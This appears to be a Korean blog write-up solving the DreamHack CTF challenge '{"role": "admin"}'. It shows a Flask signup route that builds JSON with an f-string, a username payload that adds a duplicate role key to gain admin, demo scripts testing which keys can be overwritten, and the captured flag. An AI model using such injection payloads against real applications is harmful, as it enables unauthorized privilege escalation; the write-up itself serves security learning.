[๐Ÿฅˆ Silver 4] ๋ฌธ์ž์—ด์„ ์ด์–ด ๋ถ™์—ฌ JSON ์„ ๋งŒ๋“ค๋ฉด โ€” DreamHack role-admin ํ’€์ด

2026-08-07ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] ๋ฌธ์ž์—ด์„ ์ด์–ด ๋ถ™์—ฌ JSON ์„ ๋งŒ๋“ค๋ฉด โ€” DreamHack role-admin ํ’€์ด

ํšŒ์›๊ฐ€์ž…์ด username ์„ ์ด์Šค์ผ€์ดํ”„ ์—†์ด f-string ์œผ๋กœ JSON ๋ฌธ์ž์—ด์— ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค. ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role ํ‚ค๋ฅผ ํ•˜๋‚˜ ๋” ๋„ฃ์œผ๋ฉด ๊ฐ™์€ ๊ฐ์ฒด์— role ์ด ๋‘ ๋ฒˆ ๋“ค์–ด๊ฐ€๊ณ , ํŒŒ์ด์ฌ json ์€ ๋‚˜์ค‘ ๊ฐ’์„ ๋‚จ๊ธด๋‹ค. ๊ฐ€์ž… ํ•œ ๋ฒˆ์œผ๋กœ ๊ด€๋ฆฌ์ž๊ฐ€ ๋˜๊ณ  /flag ๊ฐ€ ์—ด๋ฆฐ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” {"role": "admin"} ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4 FLAG: DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}

๋ฌธ์ œ ์„ค๋ช…์€ ํ•œ ์ค„์ด๋‹ค.

Can you gain admin access?

์ œ๋ชฉ์ด ์ด๋ฏธ ๋‹ต์˜ ๋ชจ์–‘์„ ๋ณด์—ฌ ์ฃผ๊ณ  ์žˆ๋‹ค. {"role": "admin"} ์„ ๋งŒ๋“ค์–ด ๋‚ด๋ฉด ๋œ๋‹ค.

๋ฌธ์ œ ์„œ๋ฒ„ ๋กœ๊ทธ์ธ ํ™”๋ฉด โ€” username ๊ณผ password ์ž…๋ ฅ์นธ๋งŒ ์žˆ๊ณ  ์ƒ๋‹จ์— Register ์™€ Login ๋งํฌ๊ฐ€ ์žˆ๋Š” ๋‹จ์ˆœํ•œ Flask ์•ฑ์ด๋‹ค
๋ฌธ์ œ ์„œ๋ฒ„ ๋กœ๊ทธ์ธ ํ™”๋ฉด โ€” username ๊ณผ password ์ž…๋ ฅ์นธ๋งŒ ์žˆ๊ณ  ์ƒ๋‹จ์— Register ์™€ Login ๋งํฌ๊ฐ€ ์žˆ๋Š” ๋‹จ์ˆœํ•œ Flask ์•ฑ์ด๋‹ค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…{"role": "admin"} (id 2674)
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜web
์ŠคํƒFlask 3.0.3 ยท Python 3.12-slim (Dockerfile ์ œ๊ณต)
์ œ๊ณต ํŒŒ์ผapp.py (135์ค„) ยท Dockerfile ยท templates/*.html
์„œ๋ฒ„host3.dreamhack.games:<PORT> (๋ผ์ด๋ธŒ VM)
ํ•ต์‹ฌ ์ทจ์•ฝ์ JSON ์ธ์ ์…˜ โ€” f-string ์œผ๋กœ ์กฐ๋ฆฝํ•œ JSON + ์ค‘๋ณต ํ‚ค

app.py ๊ฐ€ 135์ค„๋ฟ์ด๋ผ ์ทจ์•ฝ์ ์€ ๊ธˆ๋ฐฉ ์ขํ˜€์ง„๋‹ค. ํšŒ์›๊ฐ€์ž… ์ฒ˜๋ฆฌ์—์„œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ JSON ๋ฌธ์ž์—ด ์•ˆ์— ๊ทธ๋Œ€๋กœ ๋ผ์›Œ ๋„ฃ๋Š” ์ž๋ฆฌ๊ฐ€ ๋ณด์ด๋ฉด ๋์ด๋‹ค.

ํ’€์ด๋Š” ์งง์•˜๋‹ค. ์†Œ์Šค์—์„œ f-string ์„ ๋ฐœ๊ฒฌํ•˜๊ณ , ํŒŒ์ด์ฌ json ์ด ์ค‘๋ณต ํ‚ค๋ฅผ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๋กœ์ปฌ ๋„์ปค๋กœ ๊ฒ€์ฆํ•œ ๋’ค ๋ผ์ด๋ธŒ์— ๊ทธ๋Œ€๋กœ ์˜ฎ๊ฒผ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” JSON ์„ ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ค๋ฉด

๊ฐ์ฒด๋ฅผ JSON ์œผ๋กœ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์€ ๋‘˜์ด๋‹ค.

์ง๋ ฌํ™” ํ•จ์ˆ˜๋ฅผ ์“ด๋‹ค. json.dumps({"role": "user", "username": name}) ์ฒ˜๋Ÿผ. ์ด๋Ÿฌ๋ฉด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๊ฐ’ ์•ˆ์˜ ๋”ฐ์˜ดํ‘œยท์—ญ์Šฌ๋ž˜์‹œยท์ œ์–ด๋ฌธ์ž๋ฅผ ์•Œ์•„์„œ ์ด์Šค์ผ€์ดํ”„ํ•œ๋‹ค. ์–ด๋–ค ๋ฌธ์ž์—ด์ด ๋“ค์–ด์™€๋„ ๊ตฌ์กฐ๊ฐ€ ๊นจ์ง€์ง€ ์•Š๋Š”๋‹ค.

๋ฌธ์ž์—ด์„ ์ด์–ด ๋ถ™์ธ๋‹ค. f'{{"username":"{name}"}}' ์ฒ˜๋Ÿผ. ์ด๋Ÿฌ๋ฉด ๊ฐ’์ด ๋ฌธ๋ฒ•์˜ ์ผ๋ถ€๊ฐ€ ๋œ๋‹ค. ๊ฐ’ ์•ˆ์— " ๊ฐ€ ์žˆ์œผ๋ฉด ๊ฑฐ๊ธฐ์„œ ๋ฌธ์ž์—ด์ด ๋๋‚˜ ๋ฒ„๋ฆฌ๊ณ , ๊ทธ ๋’ค๋Š” JSON ๋ฌธ๋ฒ•์œผ๋กœ ์ฝํžŒ๋‹ค.

๋‘ ๋ฒˆ์งธ๊ฐ€ SQL ์ธ์ ์…˜๊ณผ ์™„์ „ํžˆ ๊ฐ™์€ ๋ชจ์–‘์ด๋‹ค. ๋‹ค๋งŒ ๋Œ€์ƒ์ด SQL ์ด ์•„๋‹ˆ๋ผ JSON ์ผ ๋ฟ์ด๋‹ค.

๊ทธ๋ฆฌ๊ณ  JSON ์—๋Š” SQL ์— ์—†๋Š” ์„ฑ์งˆ์ด ํ•˜๋‚˜ ๋” ์žˆ๋‹ค. ๊ฐ™์€ ํ‚ค๊ฐ€ ๋‘ ๋ฒˆ ๋‚˜์™€๋„ ์—๋Ÿฌ๊ฐ€ ์•„๋‹ˆ๋‹ค. RFC 8259 ๋Š” "ํ‚ค๋Š” ์œ ์ผํ•ด์•ผ ํ•œ๋‹ค(SHOULD)" ๋ผ๊ณ ๋งŒ ํ•˜๊ณ  ํŒŒ์„œ ๋™์ž‘์€ ๊ตฌํ˜„์— ๋งก๊ธด๋‹ค. ํŒŒ์ด์ฌ json ์€ ๋‚˜์ค‘์— ๋‚˜์˜จ ๊ฐ’์„ ๋‚จ๊ธด๋‹ค.

๊ฐ’์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค. ์•ž์— ๋ญ๊ฐ€ ๋ฐ•ํ˜€ ์žˆ๋“ .


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

ํšŒ์›๊ฐ€์ž…

sed -n "48,82p" extracted/app.py
app.py ์˜ register ๋ผ์šฐํŠธ ์ „๋ฌธ โ€” username ๊ณผ password ๋ฅผ ๋ฐ›์•„ f-string ์œผ๋กœ role user ๊ฐ€ ์•ž์— ๋ฐ•ํžŒ JSON ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ  json.loads ๋กœ ํŒŒ์‹ฑํ•œ ๋’ค USERS ์™€ UID ์— ์ €์žฅํ•œ๋‹ค
app.py ์˜ register ๋ผ์šฐํŠธ ์ „๋ฌธ โ€” username ๊ณผ password ๋ฅผ ๋ฐ›์•„ f-string ์œผ๋กœ role user ๊ฐ€ ์•ž์— ๋ฐ•ํžŒ JSON ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ  json.loads ๋กœ ํŒŒ์‹ฑํ•œ ๋’ค USERS ์™€ UID ์— ์ €์žฅํ•œ๋‹ค

๋ฌธ์ œ์˜ ์ž๋ฆฌ๋Š” ์—ฌ๊ธฐ๋‹ค.

uid = str(uuid.uuid4())
pw = pw_hash(password)
 
raw_user = (
    f'{{"role":"user",'
    f'"username":"{username}",'      # โ† ์ด์Šค์ผ€์ดํ”„๊ฐ€ ์—†๋‹ค
    f'"pw":"{pw}",'
    f'"uid":"{uid}"}}'
)
 
try:
    user = json.loads(raw_user)
except Exception:
    return render_template("register.html", title="Register", error="ํšŒ์›๊ฐ€์ž…์— ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค."), 400

role ์ด ๋งจ ์•ž์— "user" ๋กœ ํ•˜๋“œ์ฝ”๋”ฉ๋ผ ์žˆ๋‹ค. ๊ฐœ๋ฐœ์ž ์ž…์žฅ์—์„œ๋Š” "๊ฐ€์ž…์€ ๋ฌด์กฐ๊ฑด ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž" ๋ฅผ ๊ฐ•์ œํ•œ ๊ฒƒ์ด๋‹ค.

๊ทธ๋Ÿฐ๋ฐ username ์ด ๊ทธ ๋’ค์— ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๋“ค์–ด๊ฐ„๋‹ค. ๋’ค์—์„œ role ์„ ํ•œ ๋ฒˆ ๋” ์“ฐ๋ฉด ์•ž์˜ ๊ฒƒ์ด ๋ฎ์ธ๋‹ค.

๋‚˜๋จธ์ง€ ํ๋ฆ„

@app.route("/flag", methods=["GET"])
def flag():
    user = current_user()
    if not user:
        return jsonify(error="not logged in"), 401
    if user.get("role") == "admin":      # โ† ์ €์žฅ๋œ ๊ฐ์ฒด์˜ role ๋งŒ ๋ณธ๋‹ค
        return jsonify(flag=FLAG)
    return jsonify(error="forbidden"), 403

/flag ๋Š” ์„ธ์…˜์˜ uid ๋กœ USERS ์—์„œ ๊บผ๋‚ธ ๊ฐ์ฒด์˜ role ๋งŒ ๋ณธ๋‹ค. ๋ณ„๋„ ๊ฒ€์ฆ์ด ์—†๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์ €์žฅ ์‹œ์ ์— role ์„ admin ์œผ๋กœ ๋งŒ๋“ค๋ฉด ๊ทธ๊ฑธ๋กœ ๋์ด๋‹ค.

๋กœ๊ทธ์ธ๋„ ์šฐ๋ฆฌ ํŽธ์ด๋‹ค. pw ๋Š” ์ฃผ์ž…๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•œ ํ•ด์‹œ ๊ทธ๋Œ€๋กœ ๋‚จ์œผ๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋œ๋‹ค.




๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์ค‘๋ณต ํ‚ค

username ์— ์ด๊ฑธ ๋„ฃ๋Š”๋‹ค.

hacker","role":"admin

๊ทธ๋Ÿฌ๋ฉด ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“œ๋Š” ๋ฌธ์ž์—ด์€ ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

{"role":"user","username":"hacker","role":"admin","pw":"<sha256>","uid":"<uuid>"}

role ์ด ๋‘ ๋ฒˆ ๋“ค์–ด๊ฐ”๋‹ค.

username ์ด JSON ๋ฌธ์ž์—ด ์•ˆ์— ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ€๋Š” ๊ณผ์ •์„ ๊ทธ๋ฆฐ ๋„์‹ โ€” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์ด๋ฉด role ์ด user ๋กœ ๋‚จ์•„ 403 ์ด์ง€๋งŒ, ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role ์„ ํ•˜๋‚˜ ๋” ๋„ฃ์œผ๋ฉด ๋‚˜์ค‘ ๊ฐ’์ธ admin ์ด ๋‚จ๋Š”๋‹ค
username ์ด JSON ๋ฌธ์ž์—ด ์•ˆ์— ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ€๋Š” ๊ณผ์ •์„ ๊ทธ๋ฆฐ ๋„์‹ โ€” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์ด๋ฉด role ์ด user ๋กœ ๋‚จ์•„ 403 ์ด์ง€๋งŒ, ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role ์„ ํ•˜๋‚˜ ๋” ๋„ฃ์œผ๋ฉด ๋‚˜์ค‘ ๊ฐ’์ธ admin ์ด ๋‚จ๋Š”๋‹ค

ํŒŒ์ด์ฌ์ด ์ด๊ฑธ ์–ด๋–ป๊ฒŒ ์ฝ๋Š”์ง€๋Š” ์ง์ ‘ ๋Œ๋ ค ๋ณด๋ฉด ๋œ๋‹ค.

#!/usr/bin/env python3
"""์ค‘๋ณต ํ‚ค๊ฐ€ ์žˆ๋Š” JSON ์„ ํŒŒ์ด์ฌ์ด ์–ด๋–ป๊ฒŒ ์ฝ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค."""
import json
 
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<sha256>","uid":"<uuid>"}}'
 
cases = [
    ("ํ‰๋ฒ”ํ•œ ์ด๋ฆ„", "hacker"),
    ("๋”ฐ์˜ดํ‘œ ๋‹ซ๊ณ  role ์ถ”๊ฐ€", 'hacker","role":"admin'),
    ("role ์„ ์•ž์— ๋„ฃ์–ด ๋ณด๋ฉด", 'hacker","role":"admin","username":"hacker'),
]
 
for label, username in cases:
    raw = TEMPLATE.format(u=username)
    print(f"[{label}]")
    print(f"  ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“œ๋Š” ๋ฌธ์ž์—ด : {raw}")
    try:
        obj = json.loads(raw)
    except Exception as e:
        print(f"  json.loads โ†’ ์˜ˆ์™ธ: {e}\n")
        continue
    print(f"  json.loads ๊ฒฐ๊ณผ      : {obj}")
    print(f"  role                 : {obj.get('role')}"
          f"{'   โ† ๊ด€๋ฌธ ํ†ต๊ณผ' if obj.get('role') == 'admin' else ''}")
    print(f"  username             : {obj.get('username')}\n")
 
print("ํŒŒ์ด์ฌ json ์€ ์ค‘๋ณต ํ‚ค์—์„œ '๋‚˜์ค‘์— ๋‚˜์˜จ ๊ฐ’'์„ ๋‚จ๊ธด๋‹ค.")
print("๊ทธ๋ž˜์„œ ์•ž์— ๋ฐ•ํ˜€ ์žˆ๋Š” \"role\":\"user\" ๋ฅผ ๋’ค์—์„œ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค.")
python3 json_dup_demo.py
์ค‘๋ณต ํ‚ค ์‹คํ—˜ ์ถœ๋ ฅ โ€” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์€ role ์ด user ๋กœ ๋‚จ์ง€๋งŒ, ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role ์„ ๋ง๋ถ™์ธ ๊ฒฝ์šฐ ํŒŒ์‹ฑ ๊ฒฐ๊ณผ์˜ role ์ด admin ์œผ๋กœ ๋ฐ”๋€Œ์–ด ๊ด€๋ฌธ์„ ํ†ต๊ณผํ•œ๋‹ค
์ค‘๋ณต ํ‚ค ์‹คํ—˜ ์ถœ๋ ฅ โ€” ํ‰๋ฒ”ํ•œ ์ด๋ฆ„์€ role ์ด user ๋กœ ๋‚จ์ง€๋งŒ, ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  role ์„ ๋ง๋ถ™์ธ ๊ฒฝ์šฐ ํŒŒ์‹ฑ ๊ฒฐ๊ณผ์˜ role ์ด admin ์œผ๋กœ ๋ฐ”๋€Œ์–ด ๊ด€๋ฌธ์„ ํ†ต๊ณผํ•œ๋‹ค

์„ธ ๋ฒˆ์งธ ์ผ€์ด์Šค๋„ ๋ˆˆ์—ฌ๊ฒจ๋ณผ ๋งŒํ•˜๋‹ค. username ๊นŒ์ง€ ๋‹ค์‹œ ๋„ฃ์–ด๋„ ๊ฒฐ๊ณผ๋Š” ๊ฐ™๋‹ค โ€” ์–ด์ฐจํ”ผ ๋‚˜์ค‘ ๊ฐ’์ด ๋‚จ์œผ๋‹ˆ ํ‘œ์‹œ ์ด๋ฆ„์„ ์›ํ•˜๋Š” ๋Œ€๋กœ ๊ณ ์ •ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

๋‚จ๋Š” ์กฐ๊ฑด ํ•˜๋‚˜

username ์— ๋”ฐ์˜ดํ‘œ๋ฅผ ๋„ฃ์—ˆ๋Š”๋ฐ ๋’ค์—์„œ ์ด๋ฆ„ ์ถฉ๋Œ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ• ๊นŒ?

final_username = str(user.get("username", "")).strip()
if final_username in UID:
    return ... , 409

๊ฒ€์‚ฌ ๋Œ€์ƒ์€ ํŒŒ์‹ฑ๋œ ๋’ค์˜ username ์ด๋‹ค. ์ฃผ์ž… ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ผ "hacker" ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ hacker ๋ผ๋Š” ์ด๋ฆ„๋งŒ ์•ˆ ์“ฐ์ด๊ณ  ์žˆ์œผ๋ฉด ํ†ต๊ณผํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋กœ๊ทธ์ธํ•  ๋•Œ๋„ hacker ๋กœ ํ•˜๋ฉด ๋œ๋‹ค.

์–ด๋””๊นŒ์ง€ ๋ฎ์„ ์ˆ˜ ์žˆ๋‚˜

role ์ด ๋ฎ์ธ๋‹ค๋ฉด pw ๋‚˜ uid ๋„ ๋ฎ์–ด์„œ ์•„์˜ˆ ๊ธฐ์กด admin ๊ณ„์ •์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ. ํ™•์ธํ•ด ๋ดค๋‹ค.

#!/usr/bin/env python3
"""์ฃผ์ž…์œผ๋กœ '๋ฌด์—‡๊นŒ์ง€' ๋ฎ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ๋”ฐ์ ธ ๋ณธ๋‹ค."""
import json
 
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<์„œ๋ฒ„๊ฐ€ ์ •ํ•œ ํ•ด์‹œ>","uid":"<์„œ๋ฒ„๊ฐ€ ๋งŒ๋“  uuid>"}}'
 
cases = [
    ("role ๋ฎ๊ธฐ โ€” ์ฃผ์ž… ์ง€์ ๋ณด๋‹ค ์•ž", 'hacker","role":"admin', "role"),
    ("username ๋ฎ๊ธฐ โ€” ์ž๊ธฐ ์ž์‹ ", 'hacker","username":"other', "username"),
    ("pw ๋ฎ๊ธฐ ์‹œ๋„ โ€” ์ฃผ์ž… ์ง€์ ๋ณด๋‹ค ๋’ค", 'hacker","pw":"deadbeef', "pw"),
    ("uid ๋ฎ๊ธฐ ์‹œ๋„ โ€” ์ˆซ์ž๋ฅผ ๊ทธ๋ƒฅ ๋„ฃ์œผ๋ฉด", 'hacker","uid":1', "uid"),
    ("uid ๋ฎ๊ธฐ ์‹œ๋„ โ€” ๋ฌธ๋ฒ•์„ ๋งž์ถฐ์„œ", 'hacker","uid":1,"pad":"', "uid"),
]
 
print(f"ํ‹€ : {TEMPLATE.format(u='<์ฃผ์ž… ์ง€์ >')}\n")
 
for label, username, key in cases:
    raw = TEMPLATE.format(u=username)
    print(f"[{label}]")
    print(f"  username : {username}")
    try:
        obj = json.loads(raw)
    except json.JSONDecodeError as e:
        print(f"  json.loads โ†’ JSONDecodeError: {e.msg} (col {e.colno})")
        print("             ์„œ๋ฒ„๋Š” ์ด๋•Œ 400 'ํšŒ์›๊ฐ€์ž…์— ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค' ๋ฅผ ์ค€๋‹ค\n")
        continue
    print(f"  {key:8s} : {obj.get(key)!r}")
    print()
python3 inject_scope.py
์ฃผ์ž… ๋ฒ”์œ„ ์‹คํ—˜ ์ถœ๋ ฅ โ€” role ๊ณผ username ์€ ๋ฎ์ด์ง€๋งŒ pw ์™€ uid ๋Š” ์„œ๋ฒ„ ๊ฐ’์ด ์ด๊ธฐ๊ณ , ์ˆซ์ž๋ฅผ ๊ทธ๋ƒฅ ๋„ฃ์œผ๋ฉด JSON ๋ฌธ๋ฒ•์ด ๊นจ์ ธ ํŒŒ์‹ฑ ์˜ˆ์™ธ๊ฐ€ ๋‚œ๋‹ค
์ฃผ์ž… ๋ฒ”์œ„ ์‹คํ—˜ ์ถœ๋ ฅ โ€” role ๊ณผ username ์€ ๋ฎ์ด์ง€๋งŒ pw ์™€ uid ๋Š” ์„œ๋ฒ„ ๊ฐ’์ด ์ด๊ธฐ๊ณ , ์ˆซ์ž๋ฅผ ๊ทธ๋ƒฅ ๋„ฃ์œผ๋ฉด JSON ๋ฌธ๋ฒ•์ด ๊นจ์ ธ ํŒŒ์‹ฑ ์˜ˆ์™ธ๊ฐ€ ๋‚œ๋‹ค

๋‹ต์€ ์ฃผ์ž… ์ง€์ ๋ณด๋‹ค ์•ž์— ์žˆ๋Š” ํ‚ค๋งŒ ์ด๋‹ค.

ํ‹€์˜ ํ‚ค ์ˆœ์„œ๊ฐ€ role โ†’ username โ†’ pw โ†’ uid ์ธ๋ฐ ์šฐ๋ฆฌ๊ฐ€ ๋ผ์–ด๋“œ๋Š” ์ž๋ฆฌ๋Š” username ์ด๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์€ pw/uid ๋Š” ํ‹€์˜ ์›๋ž˜ pw/uid ๋ณด๋‹ค ๋จผ์ € ๋‚˜์˜ค๋ฏ€๋กœ, ๋‚˜์ค‘ ๊ฐ’์ด ์ด๊ธฐ๋Š” ๊ทœ์น™์— ๋”ฐ๋ผ ์„œ๋ฒ„ ๊ฐ’์ด ๋‚จ๋Š”๋‹ค.

๊ทธ๋ž˜์„œ ์ด ๊ฒฝ๋กœ๋กœ๋Š” ๊ถŒํ•œ ์ƒ์Šน๊นŒ์ง€๊ณ  ๊ธฐ์กด admin(uid 1) ๊ณ„์ • ํƒˆ์ทจ๋Š” ์•ˆ ๋œ๋‹ค. role ์ด ํ•˜ํ•„ ๋งจ ์•ž์— ์žˆ์–ด์„œ ๋šซ๋ฆฐ ๊ฒƒ์ด๋‹ค โ€” ๊ฐœ๋ฐœ์ž๊ฐ€ "๋ฌด์กฐ๊ฑด user ๋กœ ๋ชป๋ฐ•๊ฒ ๋‹ค" ๋ฉฐ ์•ž์— ๋‘” ๊ทธ ์œ„์น˜๊ฐ€ ์˜คํžˆ๋ ค ์œ ์ผํ•˜๊ฒŒ ๋ฎ์„ ์ˆ˜ ์žˆ๋Š” ์ž๋ฆฌ๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค.

์ˆซ์ž๋ฅผ ๊ทธ๋ƒฅ ๋„ฃ์€ ๊ฒฝ์šฐ๋„ ๋ณผ ๋งŒํ•˜๋‹ค. "uid":1 ๋’ค์— ํ‹€์˜ " ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋”ฐ๋ผ์™€ JSON ์ด ๊นจ์ง€๊ณ , json.loads ๊ฐ€ ์˜ˆ์™ธ๋ฅผ ๋˜์ ธ ์„œ๋ฒ„๊ฐ€ 400 ์„ ์ค€๋‹ค. ์ฃผ์ž…์ด ๋ฌธ๋ฒ•์„ ๊นจ๋ฉด ๊ทธ๋Œ€๋กœ ํ‹ฐ๊ฐ€ ๋‚œ๋‹ค๋Š” ๋œป์ด๋ผ, ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค๋“ฌ์„ ๋•Œ ์ด ์‘๋‹ต์ด ์‹ ํ˜ธ๊ฐ€ ๋œ๋‹ค.



๐Ÿ› ์‚ฝ์งˆ

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 1 โ€” ๋Œ€์กฐ๊ตฐ์ด ๋Œ€์กฐ๊ตฐ์ด ์•„๋‹ˆ์—ˆ๋‹ค

๋กœ์ปฌ ๊ฒ€์ฆ์„ ์ฒ˜์Œ ๋Œ๋ฆด ๋•Œ "์ฃผ์ž… ์—†๋Š” ๊ณ„์ •๋„ ํ™•์ธํ•ด ๋‘์ž" ๋ฉฐ ์ด๋ ‡๊ฒŒ ๋ถˆ๋ €๋‹ค.

python3 solve.py http://127.0.0.1:15000 --name plainuser --password pw
python3 solve.py http://127.0.0.1:15000 --name hacker    --password pw1234

๋‘˜ ๋‹ค flag ๊ฐ€ ๋‚˜์™”๋‹ค. ์ž ๊น "์–ด? ์ฃผ์ž… ์—†์ด๋„ ๋˜๋‚˜?" ์‹ถ์—ˆ๋Š”๋ฐ, ์›์ธ์€ ์ฝ”๋“œ ์ชฝ์ด์—ˆ๋‹ค.

--name ์€ ๊ทธ๋ƒฅ ํ‘œ์‹œ ์ด๋ฆ„์ด๊ณ , ์‹ค์ œ๋กœ ๋ณด๋‚ด๋Š” ๊ฐ’์€ ํ•จ์ˆ˜๊ฐ€ ๋งŒ๋“ ๋‹ค.

payload = build_username(a.name)     # ์ด๋ฆ„์ด ๋ญ๋“  ํ•ญ์ƒ ์ฃผ์ž… ๋ฌธ์ž์—ด์„ ๋งŒ๋“ ๋‹ค

์ฆ‰ ๋‘ ๋ฒˆ ๋‹ค ์ฃผ์ž…์„ ๋ณด๋ƒˆ๋‹ค. ๋Œ€์กฐ๊ตฐ์ด๋ผ๊ณ  ๋ถ€๋ฅธ ์ชฝ๋„ ๊ณต๊ฒฉ์ด์—ˆ๋˜ ๊ฒƒ์ด๋‹ค.

--plain ํ”Œ๋ž˜๊ทธ๋ฅผ ๋งŒ๋“ค์–ด ์ฃผ์ž…์„ ์‹ค์ œ๋กœ ๋„๊ณ  ๋‚˜์„œ์•ผ 403 ์ด ๋‚˜์™”๋‹ค.

payload = a.name if a.plain else build_username(a.name)

"๋Œ€์กฐ๊ตฐ"์ด๋ผ๋Š” ์ด๋ฆ„์„ ๋ถ™์˜€๋‹ค๊ณ  ๋Œ€์กฐ๊ตฐ์ด ๋˜์ง€๋Š” ์•Š๋Š”๋‹ค. ๋‘ ์‹คํ–‰์ด ์ •ํ™•ํžˆ ์–ด๋””์„œ ๊ฐˆ๋ฆฌ๋Š”์ง€ ์ฝ”๋“œ๋กœ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค. ์ด๊ฑธ ์•ˆ ์žก์•˜์œผ๋ฉด "์ฃผ์ž… ์—†์ด๋„ flag ๊ฐ€ ๋‚˜์˜จ๋‹ค"๋Š” ์—‰๋šฑํ•œ ๊ฒฐ๋ก ์„ ๊ธ€์— ์‹ค์„ ๋ป”ํ–ˆ๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 2 โ€” 403 ์„ ๋ณด๋ ค๋Š”๋ฐ ์˜ˆ์™ธ๊ฐ€ ๋จผ์ € ํ„ฐ์กŒ๋‹ค

๋Œ€์กฐ๊ตฐ์„ ์ œ๋Œ€๋กœ ๋งŒ๋“ค๊ณ  ๋Œ๋ ธ๋”๋‹ˆ ์ด๋ฒˆ์—” ๊ฒฐ๊ณผ ๋Œ€์‹  ํŠธ๋ ˆ์ด์Šค๋ฐฑ์ด ๋‚˜์™”๋‹ค.

urllib.error.HTTPError: HTTP Error 403: FORBIDDEN

urllib ์€ 4xx/5xx ๋ฅผ ์˜ˆ์™ธ๋กœ ์˜ฌ๋ฆฐ๋‹ค. requests ์ฒ˜๋Ÿผ ์‘๋‹ต ๊ฐ์ฒด๋ฅผ ๋Œ๋ ค์ฃผ์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด ๋ฌธ์ œ์—์„œ๋Š” 403 ์˜ ๋ณธ๋ฌธ({"error":"forbidden"})์ด ๋ณด๊ณ  ์‹ถ์€ ๊ฒƒ์ด๋ผ, ์˜ˆ์™ธ๋กœ ๋๋‚˜๋ฉด ์ •์ž‘ ํ•„์š”ํ•œ ๊ฑธ ๋ชป ๋ณธ๋‹ค.

HTTPError ๊ฐ์ฒด ์ž์ฒด๊ฐ€ ํŒŒ์ผ ๊ฐ™์€ ๊ฐ์ฒด๋ผ .read() ๊ฐ€ ๋œ๋‹ค๋Š” ๊ฑธ ์ด์šฉํ•ด ์‚ผ์ผฐ๋‹ค.

def get(path: str) -> str:
    """403/401 ๋„ ๋ณธ๋ฌธ์„ ๋ด์•ผ ํ•˜๋ฏ€๋กœ HTTPError ๋ฅผ ์‚ผํ‚ค๊ณ  ์‘๋‹ต์„ ๋Œ๋ ค์ค€๋‹ค."""
    try:
        with opener.open(base + path, timeout=30) as r:
            return r.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return f"[HTTP {e.code}] " + e.read().decode(errors="replace")

